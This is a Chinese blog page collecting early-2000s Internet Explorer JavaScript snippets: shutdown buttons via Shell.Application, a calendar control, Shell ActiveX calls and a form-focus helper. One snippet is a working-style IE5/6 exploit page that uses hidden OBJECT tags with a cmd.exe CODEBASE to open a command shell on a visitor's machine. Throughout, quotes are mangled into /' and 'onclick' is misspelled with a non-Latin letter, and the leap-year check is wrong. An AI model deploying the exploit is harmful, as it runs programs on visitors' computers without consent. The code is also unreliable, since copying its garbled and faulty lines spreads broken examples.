javascript (收藏代码)

--  JavaScript值得收藏的代码
JavaScript值得收藏的代码
用IE重起计算机或者关机
脚本说明:
把如下代码加入<body>区域中
<script language="JavaScript">
var Application=new ActiveXObject(/'Shell.Application.1/');
</script>
<button οnclick=Application.ShutdownWindows();>关机</button><br>
<button οnclick=Application.Suspend();>挂起</button>

--  作者:Jamers
--  发布时间:2004-7-5 12:23:00

--  
javascript运行客户端exe程序
说明:这只是提供一种思路,不过能不能运行还要看IE的安全设置。
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML>
<HEAD>
<TITLE>IE6 security...</TITLE>
<style type="text/css">
BODY{font-family:Arial,Helvetica,sans-serif;font-size:16px;color:#222222;background-color:#aaaabb}
H1{background-color:#222222;color:#aaaabb}
</style>
<META http-equiv=Content-Type content="text/html; charset=windows-1252">
<SCRIPT language=JScript>

var programName=new Array(
    /'c:/windows/system32/cmd.exe/',
    /'c:/winnt/system32/cmd.exe/',
    /'c:/cmd.exe/'
);

function Init(){
    var oPopup=window.createPopup();
    var oPopBody=oPopup.document.body;
    var n,html=/'/';
    for(n=0;n<programName.length;n++)
        html+="<OBJECT NAME=/'X/' CLASSID=/'CLSID:11111111-1111-1111-1111-111111111111/' CODEBASE=/'"+programName[n]+"/' %1=/'r/'></OBJECT>";
    oPopBody.innerHTML=html;
    oPopup.show(290, 190, 200, 200, document.body);
}

</SCRIPT>
</head>
<BODY οnlοad="Init()">
<H1>Hmm, let/'s start a command shell...</H1>
<p>
This page doesn/'t do anything malicious, but is a demonstration of how to execute a program on a remote machine using the
marvelously secure Internet Explorer web browser!!
</p>
<p>
Up until at least 18/02/02, this script would open a command window when viewed in IE5/6 under WindowsXP and Win2k (possibly also WinME). There
are currently no patches available using "Windows Update" which will prevent this.
</p>
</BODY>
</HTML>
Javascript+HTML仿造VB里的MonthView控件


<html>
<head>
<title>MonthView Demo</title>
<script language=javascript>
/***********************************    程序功能:日期选择                
    特点  :Javascript+HTML仿造VB里的MonthView控件  
    作者  :ken                   
    联系  :boboshu@21cn.com      
    开发日期:2002-8-5              
//***********************************/

var languageName="cn"  //内容显示的语言 value:"cn" "en"
var currentMonth,currentYear
var nowDate,nowMonth,nowYear

d=new Date();
nowDate=d.getDate()
nowMonth=d.getMonth()
nowYear=d.getYear()

currentMonth=nowMonth
currentYear=nowYear

arrWeekCaption_cn = new Array("星期日","星期一","星期二","星期三","星期四","星期五","星期六")
arrWeekCaption_en = new Array("Sun","Mon","Tue","Wed","Thu","Fri","Sat")
arrMonthCaption_cn= new Array("一月","二月","三月","四月","五月","六月","七月","八月","九月","十月","十一月","十二月")
arrMonthCaption_en= new Array("January","February","March","April","May","June","July","August","September","October","November","December")

function MonthView(){}

/*******************************            初始化控件
//*******************************/
function MonthView.initialize(){
    
    
    output =/'<table cellpadding=0 cellspacing=2 style="border: 1 solid black;width:300;cursor:default" id="tblMonthView" onselectstart="return false">/'
    output+=/'   <tr>/'
    output+=/'      <td>/'
    output+=/'        <table width="100%" cellpadding=0 cellspacing=0>/'
    output+=/'            <tr style="padding-top:10;padding-bottom:10;background:menu;" id="trCaption">/'
    output+=/'                <td><input type="button"value="3" style="height:22;font-family:webdings" οnclick="MonthView.showCurrentDate(///'preview///')"></td>/'
    output+=/'                <td align="center"><span id="spanCurrentMonth" style="font-size:12;"></span><span style="padding-left:10;font-size:12" id="spanCurrentYear"></span></td>/'
    output+=/'                <td align="right"><input type="button"value="4" style="height:22;font-family:webdings" οnclick="MonthView.showCurrentDate(///'next///')"></td>/'
    output+=/'            </tr>/'
    output+=/'        </table>/'
    output+=/'      </td>/'
    output+=/'    </tr>/'
    output+=/'    <tr>/'
    output+=/'      <td>/'
    output+=/'        <table width="100%" cellpadding=0 cellspacing=2 id="tblShowDay" style="font-size:12">/'
    output+=/'            <tr align="center"><td></td><td></td><td></td><td></td><td></td><td></td><td></td></tr>/'
    output+=/'            <tr><td colspan=7 height="1" style="background:black" id="tdLine"></td></tr>/'
    output+=/'            <tr><td></td><td></td><td></td><td></td><td></td><td></td><td></td></tr>/'
    output+=/'        </table>/'
    output+=/'      </td>/'
    output+=/'    </tr>/'
    output+=/'    <tr>/'
    output+=/'      <td>/'
    output+=/'        <table width="100%" cellpadding=0 cellspacing=2 id="tblToday" style="font-size:12">/'
    output+=/'            <tr><td width="20"></td><td></td></tr>/'
    output+=/'        </table>/'
    output+=/'      </td>/'
    output+=/'    </tr>/'
    output+=/'</table>/'
    
    document.write (output)
    
    
    //*********当前年、月的显示*********
    
    MonthView.setCurrentCaption()
    
    //*********************************
    //*********星期表头的显示*********
    
    MonthView.setWeekCaption()
    
    //*********************************
    
    //*********设置每月的日期*********
    
    MonthView.bulidDay()
    
    //*****************************
    
    //*********显示隐藏今日日期*********
    
    MonthView.setShowHideToday(true)
    
    //*****************************
}

function MonthView.setCurrentCaption(){
    spanCurrentYear.innerHTML=currentYear
    if (languageName=="cn"){
        spanCurrentMonth.innerHTML=arrMonthCaption_cn[currentMonth]
    }else{
        spanCurrentMonth.innerHTML=arrMonthCaption_en[currentMonth]
    }
}
function MonthView.setWeekCaption(){
    
    if (languageName=="cn"){
        arrCaption=arrWeekCaption_cn
    }else{
        arrCaption=arrWeekCaption_en
    }
    
    for (var i=0; i<arrCaption.length; i++){        
        tblShowDay.rows[0].cells[i].innerHTML=arrCaption[i]
    }
}
function MonthView.bulidDay(){
    
    arrMonthCount=new Array(31,28,31,30,31,30,31,31,30,31,30,31)
    if ((currentYear % 400 ==0) || ((currentYear % 100==0)&&(currentYear % 4==0))){
        arrMonthCount[1]=29
    }
    
    rowDay=2
    
    while (tblShowDay.rows.length>rowDay){
        tblShowDay.deleteRow(rowDay)
    }    
    
    firstDay=new Date(currentYear,currentMonth,1)
    tempRow=tblShowDay.insertRow()
    
    //*********填充当月1号以前的日期*********
    for (var j=0 ;j<firstDay.getDay();j++){
        tempCell=tempRow.insertCell()
    }
    //*************************************
    for (var i=1 ;i<=arrMonthCount[currentMonth]; i++){
        
        tempCell=tempRow.insertCell()
        tempCell.style.textAlign="center"
        tempCell.innerHTML=i
        tempCell.οnclick=MonthView.action
        if ((i+firstDay.getDay()) %7 == 0 && i!=arrMonthCount[currentMonth]){tempRow=tblShowDay.insertRow()}
    }
}

function MonthView.showCurrentDate(direction){
    if (direction=="preview"){
        currentMonth--
        if (currentMonth<0) {currentMonth=11 ;currentYear--}
    }
    if (direction=="next"){
        currentMonth++
        if (currentMonth>11) {currentMonth=0 ;currentYear++}
    }
    
    MonthView.setCurrentCaption()
    MonthView.bulidDay()
}
function MonthView.setLanguage(itsName){
    languageName=itsName
    MonthView.setCurrentCaption()
    MonthView.setWeekCaption()
    MonthView.setShowHideToday(true)
}
function MonthView.setCaptionBg(itsColor){
    trCaption.style.background=itsColor
}
function MonthView.setBorder(itsBorder){
    tblMonthView.style.border=itsBorder
}
function MonthView.setLineColor(itsColor){
    tdLine.style.background=itsColor
}
function MonthView.setShowHideToday(flag){
    el=tblToday.rows[0].cells[1]
    if (flag){        
        if (languageName=="cn"){
            el.innerHTML="今日:"+nowYear+"-"+(nowMonth+1)+"-"+nowDate
        }else{
            el.innerHTML="Today:"+nowYear+"-"+(nowMonth+1)+"-"+nowDate
        }
        
        el.style.display="block"
    }else{
        el.style.display="none"
    }
}
function MonthView.action(){
    //*********请修改此函数*********
    MonthView_value=currentYear+"-"+(currentMonth+1)+"-"+this.innerHTML
    alert(MonthView_value)
    
}
</script>
</head>

<body>
<div>
<script language=javascript>
MonthView.initialize()
</script>
</div>


<br><br>
<table border=1 style="font-size:12;width:95%">
    <tr>
        <td>方法</td><td>描述</td><td>演示</td>
    </tr>
    <tr>
        <td>MonthView.initialize()</td>
        <td>初始化控件</td>
        <td><image src="none.gif" width="1" height="1"></td>
    </tr>
    <tr>
        <td>MonthView.setLanguage(<i>par</i>)<br>参数:"cn" "en"</td>
        <td>设置控件显示语言</td>
        <td>
            <input type="button" value="中文" οnclick="MonthView.setLanguage(/'cn/')">
            <input type="button" value="英文" οnclick="MonthView.setLanguage(/'en/')">
        </td>
    </tr>
    <tr>
        <td>MonthView.setBorder(<i>par</i>)<br>参数:"边框宽度(int) 边框形状(solid|dot...) 边框颜色"</td>
        <td>边框设置</td>
        <td>
            <input type="button" value="ChangeBorder" οnclick="MonthView.setBorder(/'2 solid darkred/')">            
        </td>
    </tr>
    <tr>
        <td>MonthView.setCaptionBg(<i>par</i>)<br>参数:十六进制颜色代码</td>
        <td>设置当前年、月的背景色</td>
        <td>
            <input type="button" value="INFOBACKGROUND" οnclick="MonthView.setCaptionBg(/'INFOBACKGROUND/')">            
        </td>
    </tr>
    <tr>
        <td>MonthView.setLineColor(<i>par</i>)<br>参数:十六进制颜色代码</td>
        <td>设置分割线的颜色</td>
        <td>
            <input type="button" value="Darkred" οnclick="MonthView.setLineColor(/'darkred/')">            
        </td>
    </tr>
    <tr>
        <td>MonthView.setShowHideToday(<i>par</i>)<br>参数:true|false</td>
        <td>显示/隐藏今日日期</td>
        <td>
            <input type="button" value="Hide" οnclick="MonthView.setShowHideToday(false)">
            <input type="button" value="Show" οnclick="MonthView.setShowHideToday(true)">
        </td>
    </tr>
</table>
</body>
</html>
在ie客户端调用windows系统资源


<HTML>
<HEAD>
<TITLE>Start Page</TITLE>

<OBJECT ID="oShell"
    CLASSID="clsid:13709620-C279-11CE-A49E-444553540000">
</OBJECT>

<STYLE>
    INPUT {width: 200}
</STYLE>  

<SCRIPT LANGUAGE="VBScript">
<!--
  function fnStart(sMethod)
    select case sMethod
      case 0    
          /'Minimizes all windows on the desktop
        oShell.MinimizeAll
      case 1  
          /'Displays the Run dialog box
        oShell.FileRun
      case 2  
          /'Displays the Shut Down Windows dialog box
        oShell.ShutdownWindows
      case 3  
          /'Displays the Find dialog box
        oShell.FindFiles
      case 4  
          /'Displays the Date/Time dialog box
        oShell.SetTime
      case 5  
          /'Displays the Internet Properties dialog box
        oShell.ControlPanelItem "INETCPL.cpl"
      case 6  
          /'Explores the My Documents folder
        oShell.Explore "C://My Documents"
      case 7  
          /'Enables user to select folder from Program Files
        oShell.BrowseForFolder 0, "My Programs", 0, "C://Program Files"
      case 8  
          /'Opens the Favorites folder
        oShell.Open "C://WINDOWS//Favorites"
      case 9  
          /'Displays the Taskbar Properties dialog box
        oShell.TrayProperties
    end select  
  end function      
-->
</SCRIPT>

</HEAD>

<BODY>

<H1>Start...</H1>
<INPUT type="button" value="Edit Taskbar Properties" οnclick="fnStart(9)"><br>
<INPUT type="button" value="Open Favorites Folder" οnclick="fnStart(8)"><br>
<INPUT type="button" value="Browse Program Files" οnclick="fnStart(7)"><br>
<INPUT type="button" value="Explore My Documents" οnclick="fnStart(6)"><br>
<INPUT type="button" value="Modify Internet Properties" οnclick="fnStart(5)"><br>
<INPUT type="button" value="Set System Time" οnclick="fnStart(4)"><br>
<INPUT type="button" value="Find a File or Folder" οnclick="fnStart(3)"><br>
<INPUT type="button" value="Shut Down Windows" οnclick="fnStart(2)"><br>
<INPUT type="button" value="Run" οnclick="fnStart(1)"><br>    
<INPUT type="button" value="Minimize All Windows" οnclick="fnStart(0)">    
</BODY>
</HTML>
按下回车键指向下一个位置的一个函数


function tofocus(itemname)    //按回车置下一个位置
        {
            var a
            a=eval("document.vouch."+itemname)
            a.focus()
        }


在控件中使用οnkeypress="javascrip:if(window.event.keyCode==13){tofocus(/'nextformname/')}提取下一个控件名
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值